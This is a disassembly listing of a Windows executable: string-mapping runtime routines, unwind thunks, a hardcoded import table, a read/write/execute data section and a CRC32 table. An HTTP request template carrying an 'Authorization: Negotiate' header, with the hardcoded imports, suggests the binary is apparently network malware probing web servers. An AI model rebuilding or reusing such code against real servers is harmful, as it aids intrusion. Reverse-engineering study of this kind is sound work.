; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D92	proc near		; CODE XREF: sub_420D1D+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_422D30
		push	offset sub_41D894
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	ds:dword_4C9374, esi
		jnz	short loc_420E08
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4228C0
		mov	edi, 100h
		push	edi
		push	esi
		call	ds:dword_4221B0	; LCMapStringW
		test	eax, eax
		jz	short loc_420DE6
		mov	ds:dword_4C9374, ebx
		jmp	short loc_420E08
; ---------------------------------------------------------------------------


loc_420DE6:				; CODE XREF: sub_420D92+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4325D4
		push	edi
		push	esi
		call	ds:dword_4221AC	; LCMapStringA
		test	eax, eax
		jz	loc_420F87
		mov	ds:dword_4C9374, 2


loc_420E08:				; CODE XREF: sub_420D92+2Ej
					; sub_420D92+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_420E1D
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_420F9B
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_420E1D:				; CODE XREF: sub_420D92+79j
		mov	eax, ds:dword_4C9374
		cmp	eax, 1
		jnz	short loc_420E44
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4221B0	; LCMapStringW
		jmp	loc_420F89
; ---------------------------------------------------------------------------


loc_420E44:				; CODE XREF: sub_420D92+93j
		cmp	eax, 2
		jnz	loc_420F87
		cmp	[ebp+arg_18], esi
		jnz	short loc_420E5A
		mov	eax, ds:dword_4C912C
		mov	[ebp+arg_18], eax


loc_420E5A:				; CODE XREF: sub_420D92+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	ds:dword_422130	; WideCharToMultiByte
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_420F87
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_415D00
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_420EA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_420EA0:				; CODE XREF: sub_420D92+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_420F87
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	ds:dword_422130	; WideCharToMultiByte
		test	eax, eax
		jz	loc_420F87
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4221AC	; LCMapStringA
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_420F87
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_415D00
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_420F23
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_420F23:				; CODE XREF: sub_420D92+17Dj
		cmp	ebx, esi
		jz	short loc_420F87
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4221AC	; LCMapStringA
		test	eax, eax
		jz	short loc_420F87
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_420F61
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_420F83
		cmp	eax, edi
		jl	short loc_420F52
		mov	eax, edi


loc_420F52:				; CODE XREF: sub_420D92+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_416D30
		add	esp, 0Ch
		jmp	short loc_420F83
; ---------------------------------------------------------------------------


loc_420F61:				; CODE XREF: sub_420D92+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_420F6A
		push	esi
		push	esi
		jmp	short loc_420F70
; ---------------------------------------------------------------------------


loc_420F6A:				; CODE XREF: sub_420D92+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_420F70:				; CODE XREF: sub_420D92+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		call	ds:dword_422134	; MultiByteToWideChar
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_420F87


loc_420F83:				; CODE XREF: sub_420D92+1B8j
					; sub_420D92+1CDj
		mov	eax, edi
		jmp	short loc_420F89
; ---------------------------------------------------------------------------


loc_420F87:				; CODE XREF: sub_420D92+66j
					; sub_420D92+B5j ...
		xor	eax, eax


loc_420F89:				; CODE XREF: sub_420D92+ADj
					; sub_420D92+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420D92	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9B	proc near		; CODE XREF: sub_420D92+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_420FBA


loc_420FAB:				; CODE XREF: sub_420F9B+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_420FBA
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_420FAB


loc_420FBA:				; CODE XREF: sub_420F9B+Ej
					; sub_420F9B+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_420FC8
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_420FC8:				; CODE XREF: sub_420F9B+24j
		mov	eax, edx
		retn
sub_420F9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420FCB	proc near		; CODE XREF: sub_420D1D+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_42100B
		cmp	[ebp+arg_0], 100h
		jnb	short loc_420FEF
		movzx	eax, [ebp+arg_0]
		mov	ecx, ds:off_42F364
		mov	ax, [ecx+eax*2]
		jmp	short loc_421012
; ---------------------------------------------------------------------------


loc_420FEF:				; CODE XREF: sub_420FCB+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_42101D
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42100F


loc_42100B:				; CODE XREF: sub_420FCB+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_42100F:				; CODE XREF: sub_420FCB+3Ej
		mov	eax, [ebp+var_4]


loc_421012:				; CODE XREF: sub_420FCB+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_420FCB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42101D	proc near		; CODE XREF: sub_420FCB+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_422D48
		push	offset sub_41D894
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, ds:dword_4C9378
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_42108C
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4228C0
		push	esi
		call	ds:dword_422028	; GetStringTypeW
		test	eax, eax
		jz	short loc_42106A
		mov	eax, esi
		jmp	short loc_421087
; ---------------------------------------------------------------------------


loc_42106A:				; CODE XREF: sub_42101D+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4325D4
		push	esi
		push	edi
		call	ds:dword_42202C	; GetStringTypeA
		test	eax, eax
		jz	loc_4211CE
		push	2
		pop	eax


loc_421087:				; CODE XREF: sub_42101D+4Bj
		mov	ds:dword_4C9378, eax


loc_42108C:				; CODE XREF: sub_42101D+2Fj
		cmp	eax, 1
		jnz	short loc_4210A8
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_422028	; GetStringTypeW
		jmp	loc_4211D0
; ---------------------------------------------------------------------------


loc_4210A8:				; CODE XREF: sub_42101D+72j
		cmp	eax, 2
		jnz	loc_4211CE
		cmp	[ebp+arg_10], edi
		jnz	short loc_4210BE
		mov	eax, ds:dword_4C912C
		mov	[ebp+arg_10], eax


loc_4210BE:				; CODE XREF: sub_42101D+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	ds:dword_422130	; WideCharToMultiByte
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_4211CE
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_415D00
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_415500
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42111C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_42111C:				; CODE XREF: sub_42101D+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_4211CE
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	ds:dword_422130	; WideCharToMultiByte
		test	eax, eax
		jz	loc_4211CE
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D00
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_421171
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_421171:				; CODE XREF: sub_42101D+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_4211CE
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_421185
		mov	eax, ds:dword_4C911C


loc_421185:				; CODE XREF: sub_42101D+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	ds:dword_42202C	; GetStringTypeA
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_4211CE
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_4211CE
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_416470
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_4211D0
; ---------------------------------------------------------------------------


loc_4211CE:				; CODE XREF: sub_42101D+61j
					; sub_42101D+8Ej ...
		xor	eax, eax


loc_4211D0:				; CODE XREF: sub_42101D+86j
					; sub_42101D+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42101D	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4211E4	proc near		; DATA XREF: _1:00422EFCo

; FUNCTION CHUNK AT 00403629 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_403629
sub_4211E4	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_421202
		mov	ecx, [ebp+8]
		jmp	loc_403629
; ---------------------------------------------------------------------------

locret_421202:				; CODE XREF: _0:004211F4j
		retn
; ---------------------------------------------------------------------------


loc_421203:				; DATA XREF: sub_4031FFo
		mov	eax, offset dword_422ED0
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+14h]
		jmp	loc_403629
; ---------------------------------------------------------------------------


loc_421218:				; DATA XREF: _1:00422F2Co
		lea	ecx, [ebp-1Ch]
		jmp	loc_403629
; ---------------------------------------------------------------------------


loc_421220:				; DATA XREF: sub_4033A1o
		mov	eax, offset dword_422F00
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 4


loc_42122C:				; DATA XREF: sub_40390Co
		mov	eax, offset dword_422F30
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_420CC0
; ---------------------------------------------------------------------------


loc_42123E:				; DATA XREF: sub_42090Eo
		mov	eax, offset dword_422F90
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_403629
; ---------------------------------------------------------------------------


loc_421250:				; DATA XREF: sub_420983o
		mov	eax, offset dword_423028
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_420CC0
; ---------------------------------------------------------------------------


loc_421262:				; DATA XREF: sub_4209E0o
		mov	eax, offset dword_42304C
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_420CC0
; ---------------------------------------------------------------------------


loc_421274:				; DATA XREF: sub_420A28o
		mov	eax, offset dword_423070
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_403629
; ---------------------------------------------------------------------------


loc_421286:				; DATA XREF: sub_420AAAo
		mov	eax, offset dword_4230D0
		jmp	loc_4160F3
_0		ends

; Section 2. (virtual address 00022000)
; Virtual size			: 00001BB6 (   7094.)
; Section size in file		: 00001BB6 (   7094.)
; Offset to raw	data for section: 00022000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_1		segment	para public 'CODE' use32
		assume cs:_1
		;org 422000h
		assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
dword_422000	dd 77E668D9h		; DATA XREF: sub_409288+15Dr
dword_422004	dd 77E6BD68h		; DATA XREF: sub_4205B1+173r
dword_422008	dd 77E77F2Eh		; DATA XREF: sub_420309+3Er
					; sub_420309+261r
dword_42200C	dd 77E762D0h		; DATA XREF: sub_420309+5Br
					; sub_420309+B9r
dword_422010	dd 77E70192h		; DATA XREF: sub_41F310+F9r
dword_422014	dd 77E7176Ch		; DATA XREF: sub_41EA2A+8r
dword_422018	dd 77E7339Ch		; DATA XREF: sub_41E9F2+Cr
off_42201C	dd offset sub_4D9C54	; DATA XREF: _0:0041E9D9r _0:0041E9EBr
dword_422020	dd 77E73FF9h		; DATA XREF: sub_41DF8F+2Cr
dword_422024	dd 77E7FF2Eh		; DATA XREF: sub_41DE61:loc_41DEB1r
					; sub_41DED8:loc_41DF2Br
dword_422028	dd 77E7C866h		; DATA XREF: sub_41DC83+3Fr
					; sub_41DC83+12Dr ...
dword_42202C	dd 77E641EBh		; DATA XREF: sub_41DC83+59r
					; sub_41DC83+8Dr ...
dword_422030	dd 77E78406h		; DATA XREF: sub_41D6DF+FFr
					; sub_41D6DF+166r ...
dword_422034	dd 77E79C3Dh		; DATA XREF: sub_41D6DF+158r
					; sub_41D9A5+143r
dword_422038	dd 77E7C931h		; DATA XREF: sub_41D6DF+19Dr
dword_42203C	dd 77E77EE1h		; DATA XREF: sub_41D5AD+9r
dword_422040	dd 77E67702h		; DATA XREF: sub_41D5AD:loc_41D5DCr
					; sub_41D5AD+E1r
dword_422044	dd 77E73C49h		; DATA XREF: sub_401000+ADr
					; sub_40144A+95r ...
dword_422048	dd 77E7751Ah		; DATA XREF: sub_401000+27r
					; sub_40144A+1A6r ...
dword_42204C	dd 77E802FCh		; DATA XREF: sub_4010B5+18Cr
					; sub_4010B5+2D4r ...
dword_422050	dd 77E6D75Bh		; DATA XREF: sub_4010B5+182r
					; sub_401A76+FFr
dword_422054	dd 77E61BE6h		; DATA XREF: sub_4018D0+9Ar
					; sub_4023A7+5Dr ...
dword_422058	dd 77E704FCh		; DATA XREF: sub_4022C6+20r
					; sub_409F1E+183r ...
dword_42205C	dd 77E70F89h		; DATA XREF: sub_4022C6+Er
					; sub_40A5B3+Dr ...
off_422060	dd offset sub_4DAA24	; DATA XREF: sub_40409E+18r
					; sub_405898+58r ...
dword_422064	dd 77E64106h		; DATA XREF: sub_404593+A0r
					; sub_409F1E+1B6r
dword_422068	dd 77E64006h		; DATA XREF: sub_404593+8Cr
					; sub_409F1E+19Fr
dword_42206C	dd 77F5157Dh		; DATA XREF: sub_404716+289r
					; sub_405898:loc_4059D4r ...
dword_422070	dd 77E7AC37h		; DATA XREF: sub_404716+254r
					; sub_405898+10Er ...
off_422074	dd offset sub_4DB3D5	; DATA XREF: sub_404716+202r
					; sub_405053+B2r ...
off_422078	dd offset sub_4DA9EC	; DATA XREF: sub_404716+1F5r
					; sub_405053+38r ...
off_42207C	dd offset sub_4DB2B0	; DATA XREF: sub_404716+1CBr
					; sub_405053+25r ...
off_422080	dd offset sub_4DA7AF	; DATA XREF: sub_404716+110r
					; sub_409288+10Fr ...
off_422084	dd offset sub_4DA5FF	; DATA XREF: sub_4049CD+5ECr
					; sub_40752B+C0r ...
dword_422088	dd 77E79424h		; DATA XREF: sub_4049CD+280r
					; sub_4079D8+135r
dword_42208C	dd 77E794BFh		; DATA XREF: sub_4049CD+272r
					; sub_4079D8+123r
off_422090	dd offset sub_4DA626	; DATA XREF: sub_4049CD+212r
					; sub_4049CD+5DBr ...
off_422094	dd offset sub_4DA334	; DATA XREF: sub_4049CD+201r
					; sub_40752B+26r
off_422098	dd offset sub_4DB3FC	; DATA XREF: sub_405053+80r
					; sub_409A5D+BBr ...
off_42209C	dd offset sub_4DB460	; DATA XREF: sub_405053+6Cr
					; sub_40AB26+259r ...
dword_4220A0	dd 77F7E300h		; DATA XREF: sub_405DAD+142r
dword_4220A4	dd 77F7E21Fh		; DATA XREF: sub_405DAD+D7r
dword_4220A8	dd 77E7C706h		; DATA XREF: sub_405FC5+77r
dword_4220AC	dd 77F53275h		; DATA XREF: sub_405FC5+6Br
					; sub_405FC5+22Fr
dword_4220B0	dd 77E79D8Ch		; DATA XREF: sub_406BF9+1B0r
					; sub_406BF9+1C4r ...
off_4220B4	dd offset sub_4DB18D	; DATA XREF: sub_40767D+170r
dword_4220B8	dd 77E78147h		; DATA XREF: sub_40767D+BCr
off_4220BC	dd offset sub_4DB076	; DATA XREF: sub_40767D+60r
					; sub_407E65+11r ...
off_4220C0	dd offset sub_4DAE83	; DATA XREF: sub_40767D+5Ar
					; sub_407E65+13Ar ...
dword_4220C4	dd 77F51597h		; DATA XREF: sub_40784F+41r
					; sub_40784F+F5r ...
dword_4220C8	dd 77F516F8h		; DATA XREF: sub_40784F+21r
					; sub_4079D8+4Ar ...
dword_4220CC	dd 77E77CB7h		; DATA XREF: sub_40784F+10r
					; sub_4079D8+40r ...
dword_4220D0	dd 77E7F01Ah		; DATA XREF: sub_4079D8+88r
					; sub_407B7F+55r
dword_4220D4	dd 77E61A54h		; DATA XREF: sub_4079D8+56r
					; sub_407B7F+97r
dword_4220D8	dd 77E7C3A5h		; DATA XREF: sub_4079D8+34r
					; sub_407B7F+2Er
dword_4220DC	dd 77E706B7h		; DATA XREF: sub_4079D8+15r
					; sub_407B7F+13r ...
off_4220E0	dd offset sub_4DAF8C	; DATA XREF: sub_407E65+2r
					; sub_409288+FBr ...
dword_4220E4	dd 77E76A60h		; DATA XREF: sub_40907B+2Dr
dword_4220E8	dd 77E71B14h		; DATA XREF: sub_409105+26r
dword_4220EC	dd 77E7166Fh		; DATA XREF: sub_409105+1Dr
off_4220F0	dd offset sub_4DB55B	; DATA XREF: sub_409140+69r
off_4220F4	dd offset sub_4DB51C	; DATA XREF: sub_409140+36r
off_4220F8	dd offset sub_4DB4A4	; DATA XREF: sub_409140+25r
dword_4220FC	dd 77E7011Ah		; DATA XREF: sub_4091C2+96r
dword_422100	dd 77E73CE2h		; DATA XREF: sub_4091C2+60r
dword_422104	dd 77E61BB8h		; DATA XREF: sub_409288+17Er
					; sub_409BB2+F0r ...
dword_422108	dd 77E70396h		; DATA XREF: sub_409288+126r
					; sub_40CB17+1B5r ...
dword_42210C	dd 77E6AD34h		; DATA XREF: sub_409288+35r
					; sub_40D2E0+3E60r
dword_422110	dd 77E7FF65h		; DATA XREF: sub_409A5D+5Ar
dword_422114	dd 77EB7624h		; DATA XREF: sub_409A5D+3Dr
dword_422118	dd 77E79CE3h		; DATA XREF: sub_409BB2+91r
					; sub_414C7E+77r
dword_42211C	dd 77E79C90h		; DATA XREF: sub_409BB2+79r
					; sub_41358D+Cr ...
dword_422120	dd 77E7727Ah		; DATA XREF: sub_409BB2+3Br
					; sub_414B85+23r
dword_422124	dd 77E7C657h		; DATA XREF: sub_409DD0+1Dr
					; sub_409F1E+24r ...
dword_422128	dd 77E76C1Ah		; DATA XREF: sub_409F1E+1CFr
off_42212C	dd offset sub_4DA0C8	; DATA XREF: sub_40B105+478r
					; sub_40B9B9+DFr ...
dword_422130	dd 77E79924h		; DATA XREF: sub_40C01E+13r
					; sub_41C829+20Dr ...
dword_422134	dd 77E77CCEh		; DATA XREF: sub_40C0F0+Fr
					; sub_417AD9+54r ...
dword_422138	dd 77E65F4Ch		; DATA XREF: sub_40CA59+34r
					; _0:00413ED8r
dword_42213C	dd 77E73628h		; DATA XREF: sub_40CB17+329r
					; sub_40D2E0+4AC7r ...
dword_422140	dd 77E80656h		; DATA XREF: sub_40CB17+258r
dword_422144	dd 77E6BD13h		; DATA XREF: sub_40CB17:loc_40CCD2r
dword_422148	dd 77E79D5Bh		; DATA XREF: sub_40CB17+68r
					; sub_40CB17+2FFr
dword_42214C	dd 77E7C2C4h		; DATA XREF: sub_40CB17+61r
dword_422150	dd 77E75CEBh		; DATA XREF: sub_40D2E0+4D3Ar
					; sub_414A34+9Fr ...
dword_422154	dd 77E71AFEh		; DATA XREF: sub_40D2E0+3C5Br
dword_422158	dd 77E616B4h		; DATA XREF: sub_4135F8+184r
					; sub_413887+1Fr ...
dword_42215C	dd 77E76968h		; DATA XREF: sub_413B7C+5Fr
dword_422160	dd 77E7513Ch		; DATA XREF: _0:00413F6Fr
dword_422164	dd 77E6C29Dh		; DATA XREF: sub_41471A+1EBr
dword_422168	dd 77E74C59h		; DATA XREF: sub_414A34+C7r
dword_42216C	dd 77EC7C51h		; DATA XREF: sub_414E09+5Er
dword_422170	dd 77F6183Eh		; DATA XREF: sub_420B66r
dword_422174	dd 77E76E3Dh		; DATA XREF: sub_416ACB+6Cr
					; sub_41EBF2+38r
dword_422178	dd 77E61608h		; DATA XREF: sub_416ACB+17r
dword_42217C	dd 77F5722Fh		; DATA XREF: sub_41756F+110r
					; sub_41756F+22Dr ...
dword_422180	dd 77E6177Ah		; DATA XREF: _0:00417DA3r
					; sub_41D6DF+59r
dword_422184	dd 77E7C938h		; DATA XREF: _0:00417D78r
dword_422188	dd 77E7C486h		; DATA XREF: _0:00417D2Ar
dword_42218C	dd 77E7AC5Eh		; DATA XREF: sub_418CBC+54r
dword_422190	dd 77E76E0Bh		; DATA XREF: sub_418E04+50r
dword_422194	dd 77E7C726h		; DATA XREF: sub_418E04+11r
dword_422198	dd 77E79E34h		; DATA XREF: sub_418ED4+240r
					; sub_4199A8+120r ...
dword_42219C	dd 77E7980Ah		; DATA XREF: sub_419506+76r
					; sub_4195B7+51r ...
dword_4221A0	dd 77E73196h		; DATA XREF: sub_41EA0E+Cr
dword_4221A4	dd 77E6D706h		; DATA XREF: sub_41A160+215r
					; sub_420CE3+2Er
dword_4221A8	dd 77F522F2h		; DATA XREF: sub_41B6C8+58r
dword_4221AC	dd 77E77405h		; DATA XREF: sub_41C829+5Er
					; sub_41C829+A7r ...
dword_4221B0	dd 77E781F9h		; DATA XREF: sub_41C829+42r
					; sub_41C829+14Dr ...
dword_4221B4	dd 77E7849Fh		; DATA XREF: sub_41CA4D+48r
					; sub_41CC8C+14r ...
dword_4221B8	dd 77E7A13Fh		; DATA XREF: sub_41CBE6+2Fr
dword_4221BC	dd 77E6C703h		; DATA XREF: sub_41CBE6+1Ar
dword_4221C0	dd 77EB9A84h		; DATA XREF: sub_41D0CB+138r
dword_4221C4	dd 77E9C5B1h		; DATA XREF: sub_41D5AD+11Fr
dword_4221C8	dd 77E7C9E1h		; DATA XREF: sub_41D5AD+CEr
		align 10h
dword_4221D0	dd 71AB12F8h		; DATA XREF: sub_404021+35r
dword_4221D4	dd 71AB1836h		; DATA XREF: sub_404021+6Er
					; sub_40409E+8Er
dword_4221D8	dd 71AB41DAh		; DATA XREF: sub_403A1B+47r
					; sub_404021+15r
dword_4221DC	dd 71AB3F8Dh		; DATA XREF: sub_403A1B+8Dr
dword_4221E0	dd 71AB1746h		; DATA XREF: sub_403A1B+B3r
					; sub_404021+41r
dword_4221E4	dd 71AB3ECEh		; DATA XREF: sub_403A1B+C4r
dword_4221E8	dd 71AB5DE2h		; DATA XREF: sub_403A1B+D8r
dword_4221EC	dd 71AB868Dh		; DATA XREF: sub_403A1B+180r
dword_4221F0	dd 71AB5690h		; DATA XREF: sub_403A1B+1F0r
dword_4221F4	dd 71AB1AF4h		; DATA XREF: sub_403161+12r
					; sub_403A1B+E4r ...
dword_4221F8	dd 71AB1890h		; DATA XREF: sub_402FC3+4Cr
					; sub_403A1B+115r
dword_4221FC	dd 71AB1B7Bh		; DATA XREF: sub_420B60r
dword_422200	dd 71AB3C22h		; DATA XREF: sub_4018D0+59r
					; sub_40345C+ADr ...
dword_422204	dd 71AB155Ah		; DATA XREF: sub_4018D0+70r
					; sub_403A1B+9Dr
dword_422208	dd 71AB3E5Dh		; DATA XREF: sub_4018D0+8Cr
					; sub_404021+57r
dword_42220C	dd 71AB1A6Dh		; DATA XREF: sub_4018D0+AAr
					; sub_403A1B+241r ...
		dd 2 dup(0)
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4033A1+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_422258	dq 1.388888888888889e-2	; DATA XREF: sub_4031B3+2Fr
dbl_422260	dq 1.666666666666667e-1	; DATA XREF: sub_4031B3+15r
dword_422268	dd 0FFFFFFFFh		; DATA XREF: sub_4031FF+16Fr
					; sub_403631r ...
		align 10h
dbl_422270	dq 1.333333333333333	; DATA XREF: sub_4031FF+79r
dword_422278	dd 0			; DATA XREF: sub_4033A1+4Do
					; sub_4036E1+5Bo ...
dword_42227C	dd 0			; DATA XREF: sub_40A832+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
